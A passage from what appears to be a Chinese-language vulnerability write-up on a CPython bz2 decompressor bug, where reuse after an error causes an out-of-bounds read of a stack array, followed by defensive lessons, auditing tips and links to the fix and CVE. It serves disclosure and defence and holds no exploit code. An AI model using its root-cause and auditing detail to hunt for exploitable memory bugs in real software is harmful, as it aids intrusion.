v=6读写 6 字节栈数组pos(decompress.c:315),触发越界读后被 canary/ASAN 拦截,进程 SIGABRT。
这条链给了三点纵深观察:其一,增量解压协议的"可重入"特性与错误冻结语义天然冲突,封装层必须显式区分"等待更多输入"与"出错"两种中间态;其二,状态机错误路径若与正常路径共用落盘与恢复逻辑,应复核所有恢复点对非法中间值的复检;其三,pos[BZ_N_GROUPS] 这类固定大小栈数组以"合法区间内的解引用"为前提,任何可能写入越界索引的路径都应视为高危。
同类错误复用缺陷在其他语言的压缩封装中也有先例(如部分 zip 库在 CRC 校验失败后继续解压导致的越界),审计时可参照同一思路:先找"错误后仍可继续调用"的入口,再追状态机的恢复点。
相关链接
- CPython issue:gh-150599 - Prevent bz2 decompressor reuse after errors
- 修复 PR:#150600(主分支 commit
5755d0f0,3.14 backport157a5df8) - CVE 条目:CVE-2026-9669
- bzip2 官方源码:bzip2 1.0.8
- CPython 3.14 分支:python/cpython 3.14